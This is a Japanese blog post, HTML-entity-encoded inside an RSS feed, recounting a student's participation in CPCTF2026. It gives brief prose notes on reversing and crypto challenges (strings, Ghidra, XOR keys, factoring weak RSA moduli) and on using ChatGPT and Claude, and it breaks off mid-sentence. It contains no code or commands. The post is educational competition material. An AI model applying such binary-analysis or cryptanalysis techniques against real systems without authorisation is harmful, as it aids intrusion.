&#x3068;&#x7533;&#x3057;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;4&#x6708;&#x4E2D;&#x65EC;&#x306B;&#x958B;&#x50AC;&#x3055;&#x308C;&#x305F;traP&#x4E3B;&#x50AC;&#x306E;&#x300C;CPCTF2026&#x300D;&#x3067;&#x65B0;&#x5165;&#x751F;5&#x4F4D;&#x306B;&#x306A;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x3053;&#x306E;&#x8A18;&#x4E8B;</p>]]></description><link>https://trap.jp/post/2929/</link><guid isPermaLink="false">69eedefce2394c00016eaaac</guid><dc:creator><![CDATA[Falcon]]></dc:creator><pubDate>Tue, 28 Apr 2026 08:02:02 GMT</pubDate><content:encoded><![CDATA[<p>&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3001;26B&#x306E;Falcon &#x3068;&#x7533;&#x3057;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;4&#x6708;&#x4E2D;&#x65EC;&#x306B;&#x958B;&#x50AC;&#x3055;&#x308C;&#x305F;traP&#x4E3B;&#x50AC;&#x306E;&#x300C;CPCTF2026&#x300D;&#x3067;&#x65B0;&#x5165;&#x751F;5&#x4F4D;&#x306B;&#x306A;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;&#x305D;&#x306E;&#x53C2;&#x52A0;&#x8A18;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p><h1 id="%E8%87%AA%E5%B7%B1%E7%B4%B9%E4%BB%8B">&#x81EA;&#x5DF1;&#x7D39;&#x4ECB;</h1><p>&#x4E2D;&#x5B66;1&#x5E74;&#x751F;&#x306E;&#x6642;&#x306B;&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x3092;&#x59CB;&#x3081;&#x3066;&#x3001;&#x57F7;&#x7B46;&#x73FE;&#x5728;AtCoder&#x6C34;&#x3067;&#x3059;&#x3002;<br>&#xFEFF;CTF&#x306F;&#x4E2D;&#x5B66;2&#x5E74;&#x751F;&#x306E;&#x6642;&#x306B;&#x5C11;&#x3057;&#x89E6;&#x308C;&#x305F;&#x3053;&#x3068;&#x304C;&#x3042;&#x308B;&#x7A0B;&#x5EA6;&#x3067;&#x3001;&#x305D;&#x3053;&#x307E;&#x3067;&#x8A73;&#x3057;&#x3044;&#x3068;&#x3044;&#x3048;&#x308B;&#x307B;&#x3069;&#x3067;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x304C;&#x3001;&#x304A;&#x305D;&#x3089;&#x304F;&#x4ED6;&#x306E;&#x591A;&#x304F;&#x306E;&#x65B0;&#x5165;&#x751F;&#x306B;&#x6BD4;&#x3079;&#x308C;&#x3070;&#x307E;&#x3060;&#x7D4C;&#x9A13;&#x304C;&#x3042;&#x308B;&#x307B;&#x3046;&#x3060;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p><p>&#x305D;&#x306E;&#x4ED6;&#x306B;&#x3082;&#x3001;&#x9AD8;&#x6821;2&#x5E74;&#x751F;&#x306E;&#x6642;&#x306B;Web&#x958B;&#x767A;&#x3092;&#x5C11;&#x3057;&#x89E6;&#x3063;&#x305F;&#x308A;&#x3001;3&#x5E74;&#x751F;&#x306E;&#x6642;&#x306B;&#x6587;&#x5316;&#x796D;&#x3067;Unity&#x3092;&#x4F7F;&#x3063;&#x305F;&#x97F3;&#x30B2;&#x30FC;&#x306E;&#x958B;&#x767A;&#x3092;&#x3057;&#x3066;&#x3044;&#x305F;&#x308A;&#x3057;&#x307E;&#x3059;&#x3002;</p><h1 id="cpctf%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">CPCTF&#x306B;&#x3064;&#x3044;&#x3066;</h1><p>CP&#xFF08;&#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#x3084;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x80FD;&#x529B;&#x3092;&#x7AF6;&#x3046;&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#xFF09;&#x3068;CTF&#xFF08;&#x30B5;&#x30A4;&#x30D0;&#x30FC;&#x30BB;&#x30AD;&#x30E5;&#x30EA;&#x30C6;&#x30A3;&#x306E;&#x80FD;&#x529B;&#x3092;&#x7AF6;&#x3046;&#x7AF6;&#x6280;&#x30B5;&#x30A4;&#x30D0;&#x30FC;&#x30BB;&#x30AD;&#x30E5;&#x30EA;&#x30C6;&#x30A3;&#x306E;&#x80FD;&#x529B;&#x3092;&#x7AF6;&#x3046;&#x7AF6;&#x6280;&#xFF09; &#x3092;&#x65B0;&#x5165;&#x751F;&#x3092;&#x4E2D;&#x5FC3;&#x306B;&#x8272;&#x3005;&#x306A;&#x4EBA;&#x306B;&#x4F53;&#x9A13;&#x3057;&#x3066;&#x3082;&#x3089;&#x304A;&#x3046;&#x3068;&#x3044;&#x3046;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x3059;&#x3002;<br>&#xFEFF;&#x4ECA;&#x56DE;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x306F;&#x3001;CTF&#x5206;&#x91CE;&#x306B;&#x306E;&#x307F;&#x751F;&#x6210;AI&#x306E;&#x5229;&#x7528;&#x304C;&#x8A31;&#x53EF;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p><p>&#x307E;&#x305F;&#x3001;&#x96E3;&#x6613;&#x5EA6;&#x306F;Lv.1&#xFF5E;5&#x306B;&#x5206;&#x304B;&#x308C;&#x3066;&#x304A;&#x308A;&#x3001;&#x914D;&#x70B9;&#x306F;&#x3001;Lv.1&#x306F;10&#x70B9;&#x3001;2&#x4EE5;&#x4E0A;&#x306F;&#x7D42;&#x4E86;&#x6642;&#x306B;&#x89E3;&#x3044;&#x305F;&#x4EBA;&#x6570;&#x306B;&#x3088;&#x3063;&#x3066;&#x70B9;&#x6570;&#x304C;&#x5909;&#x52D5;&#x3057;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;Lv.5&#x4EE5;&#x5916;&#x306E;&#x554F;&#x984C;&#x306B;&#x306F;&#x3059;&#x3079;&#x3066;&#x30D2;&#x30F3;&#x30C8;&#x304C;&#x3042;&#x308A;&#x3001;&#x65B9;&#x91DD;&#x304C;&#x3064;&#x304B;&#x3081;&#x306A;&#x3044;&#x554F;&#x984C;&#x306F;&#x3053;&#x306E;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x898B;&#x3066;&#x6311;&#x6226;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x306A;&#x304A;&#x3001;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x898B;&#x3066;&#x3082;&#x70B9;&#x6570;&#x304C;&#x6E1B;&#x308B;&#x3053;&#x3068;&#x306F;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x3057;&#x3070;&#x3089;&#x304F;&#x8003;&#x3048;&#x3066;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x554F;&#x984C;&#x306F;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x898B;&#x3066;&#x8003;&#x5BDF;&#x3092;&#x9032;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><h1 id="%E3%82%B3%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%B5%90%E6%9E%9C">&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x7D50;&#x679C;</h1><p>2,430&#x70B9;&#x3067;&#x65B0;&#x5165;&#x751F;5&#x4F4D;&#x3067;&#x3057;&#x305F;&#x3002;CPCTF&#x306B;&#x306F;9&#x5206;&#x91CE;&#x306E;&#x554F;&#x984C;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x5206;&#x91CE;&#x3054;&#x3068;&#x306B;&#x611F;&#x60F3;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3044;&#x3053;&#x3046;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x6642;&#x7CFB;&#x5217;&#x9806;&#x306B;&#x306F;&#x306A;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;&#x306E;&#x3067;&#x3054;&#x627F;&#x77E5;&#x304A;&#x304D;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p><p>&#x307E;&#x305F;&#x3001;&#x554F;&#x984C;&#x540D;&#x306E;&#x96A3;&#x306B;&#x306F;&#x3001;&#x305D;&#x306E;&#x554F;&#x984C;&#x306E;&#x96E3;&#x6613;&#x5EA6;&#x3068;&#x7D42;&#x4E86;&#x6642;&#x70B9;&#x3067;&#x306E;&#x914D;&#x70B9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p><h2 id="%E7%92%B0%E5%A2%83">&#x74B0;&#x5883;</h2><p>CTF&#x306F;&#x30BF;&#x30FC;&#x30DF;&#x30CA;&#x30EB;&#x304C;&#x6B32;&#x3057;&#x3044;&#x95A2;&#x4FC2;&#x3067;Ubuntu&#x3067;&#x3084;&#x308B;&#x306E;&#x304C;&#x3084;&#x308A;&#x3084;&#x3059;&#x3044;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x30C7;&#x30E5;&#x30A2;&#x30EB;&#x30D6;&#x30FC;&#x30C8;&#x306F;&#x30A2;&#x30AB;&#x30A6;&#x30F3;&#x30C8;&#x7BA1;&#x7406;&#x306A;&#x3069;&#x306E;&#x89B3;&#x70B9;&#x3067;&#x9762;&#x5012;&#x3067;&#x3059;&#x3002;WSL&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3044;&#x308B;&#x4EBA;&#x3082;&#x591A;&#x3044;&#x304B;&#x3082;&#x3057;&#x308C;&#x306A;&#x3044;&#x3067;&#x3059;&#x304C;&#x3001;&#x30BF;&#x30FC;&#x30DF;&#x30CA;&#x30EB;&#x4E0A;&#x3067;&#x30C7;&#x30A3;&#x30EC;&#x30AF;&#x30C8;&#x30EA;&#x79FB;&#x52D5;&#x3092;&#x3057;&#x305F;&#x3044;&#x3068;&#x304D;&#x3068;&#x304B;&#x306B;Windows&#x4E0A;&#x3067;&#x3084;&#x308D;&#x3046;&#x3068;&#x3059;&#x308B;&#x3068;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x8272;&#x3005;&#x3042;&#x3063;&#x3066;&#x63A2;&#x3059;&#x306E;&#x304C;&#x9762;&#x5012;&#x3067;&#x3059;&#x3002;&#x305D;&#x308C;&#x3068;&#x3001;&#x81EA;&#x5206;&#x304C;&#x4E2D;2&#x306E;&#x6642;&#x306B;CTF&#x3092;&#x3057;&#x3066;&#x3044;&#x305F;&#x6642;&#x306B;&#x306F;Linux&#x74B0;&#x5883;&#x3067;&#x3057;&#x304B;&#x52D5;&#x304B;&#x306A;&#x3044;&#x30BD;&#x30D5;&#x30C8;&#x304C;&#x3044;&#x304F;&#x3064;&#x304B;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x73FE;&#x5728;&#x306F;&#x4E00;&#x90E8;Windows&#x3067;&#x3082;&#x540C;&#x3058;&#x3088;&#x3046;&#x306A;&#x30BD;&#x30D5;&#x30C8;&#x304C;&#x4F7F;&#x3048;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x6163;&#x308C;&#x3066;&#x3044;&#x308B;&#x74B0;&#x5883;&#x3067;&#x3084;&#x3063;&#x305F;&#x65B9;&#x304C;&#x89E3;&#x304F;&#x306E;&#x304C;&#x901F;&#x305D;&#x3046;&#x3060;&#x3068;&#x601D;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;VitualBox&#x3067;&#x4EEE;&#x60F3;&#x74B0;&#x5883;&#x3068;&#x3057;&#x3066;Ubuntu24.04&#x3092;&#x5165;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x30E1;&#x30E2;&#x30EA;&#x3068;&#x304B;CPU&#x306F;Windows&#x3068;&#x534A;&#x3005;&#x306B;&#x306A;&#x308B;&#x304F;&#x3089;&#x3044;&#x306B;&#x632F;&#x308A;&#x5206;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h2 id="%E9%96%8B%E5%A7%8B%E7%9B%B4%E5%BE%8C%E3%81%AB%E8%B5%B7%E3%81%93%E3%81%A3%E3%81%9F%E4%BA%8B%E6%95%85">&#x958B;&#x59CB;&#x76F4;&#x5F8C;&#x306B;&#x8D77;&#x3053;&#x3063;&#x305F;&#x4E8B;&#x6545;</h2><p>VirtualBox&#x3067;Ubuntu&#x3092;&#x52D5;&#x304B;&#x3057;&#x3066;&#x3044;&#x308B;&#x3068;&#x3001;&#x52D5;&#x304B;&#x3057;&#x3066;&#x3044;&#x306A;&#x3044;&#x3068;&#x304D;&#x306B;&#x305D;&#x306E;&#x5206;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x306E;&#x6642;&#x9593;&#x304C;&#x9032;&#x3093;&#x3067;&#x3044;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x3042;&#x3063;&#x3066;&#x3001;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x958B;&#x59CB;&#x6642;&#x306B;2&#x65E5;&#x304F;&#x3089;&#x3044;&#x9045;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x308C;&#x306B;&#x3088;&#x3063;&#x3066;&#x3001;CPCTF&#x306E;&#x30D5;&#x30ED;&#x30F3;&#x30C8;&#x30A8;&#x30F3;&#x30C9;&#x304C;&#x304A;&#x305D;&#x3089;&#x304F;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x306E;&#x6642;&#x9593;&#x306B;&#x3088;&#x3063;&#x3066;&#x5236;&#x5FA1;&#x3055;&#x308C;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x958B;&#x59CB;&#x3057;&#x3066;&#x3059;&#x3050;&#x306F;&#x554F;&#x984C;&#x30DA;&#x30FC;&#x30B8;&#x3092;&#x898B;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;<br>&#xFEFF;&#x307E;&#x3042;Ubuntu&#x306E;&#x6642;&#x9593;&#x540C;&#x671F;&#x3092;&#x3064;&#x3051;&#x308C;&#x3070;&#x3088;&#x3044;&#x3060;&#x3051;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x3050;&#x306B;&#x6CBB;&#x308A;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x306A;&#x3093;&#x304B;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x4E00;&#x5FDC;&#x66F8;&#x3044;&#x3066;&#x304A;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p><h2 id="reversing">Reversing</h2><p>&#x5B9F;&#x884C;&#x5F62;&#x5F0F;&#x306E;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3084;&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x6E21;&#x3055;&#x308C;&#x3001;&#x305D;&#x3053;&#x304B;&#x3089;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x629C;&#x304D;&#x51FA;&#x3059;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;3/4 &#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="hidden-lv110%E7%82%B9">hidden (Lv.1,10&#x70B9;)</h3><p>Lv.1&#x306A;&#x306E;&#x3067;&#x3001;bash&#x306E;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x9069;&#x5F53;&#x306B;&#x6D41;&#x3057;&#x8FBC;&#x3080;&#x3053;&#x3068;&#x3092;&#x8A66;&#x307F;&#x307E;&#x3059;&#x3002;&#x6709;&#x540D;&#x306A;&#x306E;&#x306F;strings,grep,cat&#x3042;&#x305F;&#x308A;&#x3067;&#x3057;&#x3087;&#x3046;&#x3002;&#x3053;&#x3053;&#x3067;&#x306F;&#x3001;strings&#x3092;&#x8A66;&#x3059;&#x3068;&#x3046;&#x307E;&#x304F;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;</p><h3 id="omikuji-lv250%E7%82%B9">Omikuji (Lv.2,50&#x70B9;)</h3><p>&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x52D5;&#x304B;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x304A;&#x307F;&#x304F;&#x3058;&#x306E;&#x7D50;&#x679C;&#x304C;&#x51FA;&#x3066;&#x3001;&#x3044;&#x3044;&#x7D50;&#x679C;&#x3067;&#x3042;&#x308B;&#x307B;&#x3069;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5148;&#x982D;&#x304B;&#x3089;&#x3088;&#x308A;&#x9577;&#x3044;&#x90E8;&#x5206;&#x3092;&#x898B;&#x305B;&#x3066;&#x3082;&#x3089;&#x3048;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x89E3;&#x3044;&#x3066;&#x3044;&#x305F;&#x3068;&#x304D;&#x306F;1&#x65E5;&#x76EE;&#x306E;2&#x6642;&#x524D;&#x3067;&#x7720;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;150&#x56DE;&#x304F;&#x3089;&#x3044;&#x5927;&#x5409;&#x51FA;&#x306A;&#x3044;&#x304B;&#x306A;&#xFF5E;&#xFF5E;&#x3068;&#x30BF;&#x30FC;&#x30DF;&#x30CA;&#x30EB;&#x3092;&#x53E9;&#x3044;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x5F53;&#x7136;&#x3046;&#x307E;&#x304F;&#x3044;&#x304D;&#x307E;&#x305B;&#x3093;&#x3002;</p><p>&#x6587;&#x5B57;&#x5217;&#x304C;&#x76F4;&#x306B;&#x5165;&#x3063;&#x3066;&#x3044;&#x3066;&#x3001;&#x304A;&#x307F;&#x304F;&#x3058;&#x306E;&#x7D50;&#x679C;&#x306B;&#x3088;&#x3063;&#x3066;&#x5148;&#x982D;&#x304B;&#x3089;&#x4F55;&#x6587;&#x5B57;&#x76EE;&#x307E;&#x3067;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x306E;&#x304B;&#x3092;&#x6C7A;&#x3081;&#x3066;&#x3044;&#x308B;&#x3093;&#x3060;&#x308D;&#x3046;&#x306A;&#x3001;&#x3068;&#x60F3;&#x50CF;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;ghidra&#x3068;&#x3044;&#x3046;&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x89E3;&#x6790;&#x3057;&#x3066;&#x4E2D;&#x8EAB;&#x3092;&#x898B;&#x308C;&#x308B;&#x3088;&#x3046;&#x306B;&#x3059;&#x308B;&#x30A2;&#x30D7;&#x30EA;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x89E3;&#x6790;&#x3057;&#x3066;&#x3082;&#x3089;&#x3044;&#x307E;&#x3059;&#x3002;&#x3057;&#x3070;&#x3089;&#x304F;&#x773A;&#x3081;&#x3066;&#x3044;&#x308B;&#x3068;&#x3061;&#x3083;&#x3093;&#x3068;&#x76F4;&#x3067;&#x5165;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;ghidra&#x306F;CTF&#x306B;&#x304A;&#x3044;&#x3066;&#x5FC5;&#x9808;&#x30C4;&#x30FC;&#x30EB;&#x306A;&#x306E;&#x3067;&#x5165;&#x308C;&#x3066;&#x304A;&#x304D;&#x307E;&#x3057;&#x3087;&#x3046;&#x3002;</p><p>&#x4F59;&#x8AC7;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;ghidra&#x304B;&#x3089;&#x30B3;&#x30D4;&#x30FC;&#x3057;&#x3066;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x62BD;&#x51FA;&#x3059;&#x308B;&#x306E;&#x3063;&#x3066;&#x5272;&#x3068;&#x9762;&#x5012;&#x306A;&#x3093;&#x3067;&#x3059;&#x3088;&#x306D;&#x3001;&#x304B;&#x3068;&#x3044;&#x3063;&#x3066;&#x7720;&#x3044;&#x3068;0&#x3068;O&#x3068;&#x304B;1&#x3068;l&#x3068;&#x304B;&#x898B;&#x9593;&#x9055;&#x3048;&#x305D;&#x3046;&#x306A;&#x306E;&#x3067;&#x30B3;&#x30D4;&#x30FC;&#x3057;&#x305F;&#x3082;&#x306E;&#x3092;ChatGPT&#x306B;&#x3076;&#x3093;&#x6295;&#x3052;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x3046;&#x3044;&#x3046;&#x4F5C;&#x696D;&#x3092;&#x30B5;&#x30C3;&#x3068;&#x3084;&#x3063;&#x3066;&#x304F;&#x308C;&#x308B;&#x306E;&#x306F;&#x52A9;&#x304B;&#x308A;&#x307E;&#x3059;&#x306D;&#x3002;</p><h3 id="out-of-world-lv350%E7%82%B9">Out of World (Lv.3,50&#x70B9;)</h3><p>&#x898B;&#x305F;&#x76EE;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x3067;&#x3059;&#x306D;&#x3001;ghidra&#x3092;&#x958B;&#x304D;&#x307E;&#x3059;&#x3002;&#x4F55;&#x304C;&#x8D77;&#x3053;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x304B;&#x5168;&#x304F;&#x5206;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x9811;&#x5F35;&#x3063;&#x3066;main&#x95A2;&#x6570;&#x3092;&#x898B;&#x3064;&#x3051;&#x307E;&#x3059;&#x3002;&#x305D;&#x3053;&#x3067;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x95A2;&#x6570;&#x3068;&#x304B;&#x5909;&#x6570;&#x3092;&#x9811;&#x5F35;&#x3063;&#x3066;&#x898B;&#x3064;&#x3051;&#x308B;&#x3068;&#x3001;XOR&#x3067;&#x6697;&#x53F7;&#x5316;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x6697;&#x53F7;&#x5316;&#x3055;&#x308C;&#x305F;&#x6587;&#x3068;&#x6697;&#x53F7;&#x9375;&#x304C;&#x898B;&#x3064;&#x304B;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x3053;&#x304B;&#x3089;&#x5FA9;&#x53F7;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><h3 id="vigor-lv494%E7%82%B9">ViGor (Lv.4,94&#x70B9;)</h3><p>ghidra&#x304C;&#x9577;&#x3044;&#xFF01;claude&#x306B;&#x8272;&#x3005;&#x306A;&#x95A2;&#x6570;&#x3092;&#x6295;&#x3052;&#x307E;&#x3057;&#x305F;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;</p><h2 id="crypto">Crypto</h2><p>Python&#xFF08;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x591A;&#x3044;&#xFF09;&#x3067;&#x6697;&#x53F7;&#x5316;&#x3055;&#x308C;&#x305F;&#x9375;&#x304B;&#x3089;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5165;&#x624B;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;6/7&#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="dualcast-lv110%E7%82%B9">Dualcast (Lv.1,10&#x70B9;)</h3><p>bytes_to_long&#x3068;&#x3044;&#x3046;&#x95A2;&#x6570;&#x3067;&#x6697;&#x53F7;&#x5316;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;long_to_bytes&#x3068;&#x3044;&#x3046;&#x95A2;&#x6570;&#x3092;&#x4F7F;&#x3046;&#x3068;&#x5143;&#x306B;&#x623B;&#x308A;&#x307E;&#x3059;&#x3002;</p><h3 id="very-exciting-lv250%E7%82%B9">Very Exciting (Lv.2,50&#x70B9;)</h3><p>&#x3053;&#x308C;&#x3081;&#x3063;&#x3061;&#x3083;&#x96E3;&#x3057;&#x304F;&#x306A;&#x3044;&#x3067;&#x3059;&#x304B;&#xFF1F;&#x4E71;&#x6570;&#x3092;XOR&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x51E6;&#x7406;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;key_stream&#x3092;&#x5FA9;&#x5143;&#x3067;&#x304D;&#x308B;&#x3068;&#x3046;&#x308C;&#x3057;&#x3044;&#x306E;&#x3067;&#x3001;favorite&#x3092;0&#x306B;&#x3059;&#x308B;&#x3068;&#x3001;&#x5E30;&#x3063;&#x3066;&#x304F;&#x308B;&#x6587;&#x5B57;&#x5217;&#x304C;key_stream&#x306B;&#x306A;&#x308B;&#x306F;&#x305A;&#x3067;&#x3059;&#x3002;&#x305F;&#x3060;&#x305D;&#x306E;&#x3042;&#x3068;&#x306E;&#x51E6;&#x7406;&#x304C;&#x308F;&#x304B;&#x3089;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;ChatGPT&#x306B;&#x6295;&#x3052;&#x307E;&#x3057;&#x305F;&#x3002;&#x306A;&#x3093;&#x3068;&#x306A;&#x304F;&#x89E3;&#x6CD5;&#x304C;&#x308F;&#x304B;&#x3063;&#x3066;&#x3082;&#x7D50;&#x5C40;&#x4F55;&#x3092;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x306E;&#x304B;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x591A;&#x3044;&#x306E;&#x306F;&#x7D4C;&#x9A13;&#x4E0D;&#x8DB3;&#x3060;&#x306A;&#x3041;&#x3068;&#x3044;&#x3046;&#x611F;&#x3058;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;&#x3068;&#x3044;&#x3046;&#x304B;Lv.3&#x4EE5;&#x964D;&#x306B;&#x95A2;&#x3057;&#x3066;&#x306F;&#x306F;&#x307B;&#x3068;&#x3093;&#x3069;&#x306E;&#x554F;&#x984C;&#x3067;&#x306A;&#x3093;&#x304B;&#x3057;&#x3089;&#x306E;&#x5F62;&#x3067;&#x751F;&#x6210;AI&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3044;&#x308B;&#x306F;&#x305A;&#x3067;&#x3059;&#x3001;&#x60B2;&#x3057;&#x3044;...</p><h3 id="107-lv350%E7%82%B9">1,0,7 (Lv.3,50&#x70B9;)</h3><p>N&#x304C;1....1&#x3067;&#x5272;&#x308A;&#x5207;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;p,q&#x304C;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;RSA&#x6697;&#x53F7;&#x306E;&#x672C;&#x8CEA;&#x306F;p,q&#x304C;&#x73FE;&#x5B9F;&#x7684;&#x306A;&#x6642;&#x9593;&#x5185;&#x306B;&#x6C42;&#x3081;&#x3089;&#x308C;&#x306A;&#x3044;&#x3053;&#x3068;&#x306A;&#x306E;&#x3067;&#x3001;&#x5B9F;&#x8CEA;&#x3053;&#x308C;&#x3067;&#x89E3;&#x3051;&#x305F;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p><p>&#x3061;&#x306A;&#x307F;&#x306B;p,q&#x304C;&#x308F;&#x304B;&#x3063;&#x3066;&#x3082;&#x89E3;&#x304D;&#x65B9;&#x3092;&#x5B9F;&#x88C5;&#x3067;&#x304D;&#x308B;&#x308F;&#x3051;&#x3067;&#x306F;&#x306A;&#x3044;&#x306E;&#x3067;claude&#x306B;&#x6295;&#x3052;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="anomaly-2-lv350%E7%82%B9">Anomaly 2 (Lv.3,50&#x70B9;)</h3><p>&#x4E00;&#x898B;&#x666E;&#x901A;&#x306E;RSA&#x6697;&#x53F7;&#x3067;&#x3059;&#x3002;&#x56F0;&#x308A;&#x307E;&#x3057;&#x305F;&#x306D;&#x3002;&#x3055;&#x3063;&#x304D;&#x306E;&#x554F;&#x984C;&#x306E;&#x30B3;&#x30FC;&#x30C9;&#x3068;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x307F;&#x3066;&#x5909;&#x306A;&#x3068;&#x3053;&#x308D;&#x304C;&#x306A;&#x3044;&#x304B;&#x63A2;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;n&#x3068;m&#x304C;&#x9006;&#x3063;&#x307D;&#x3044;&#x3067;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x6307;&#x6458;&#x3057;&#x3066;ChatGPT&#x306B;&#x6295;&#x3052;&#x308B;&#x3068;&#x3001;&#x89E3;&#x3044;&#x3066;&#x304F;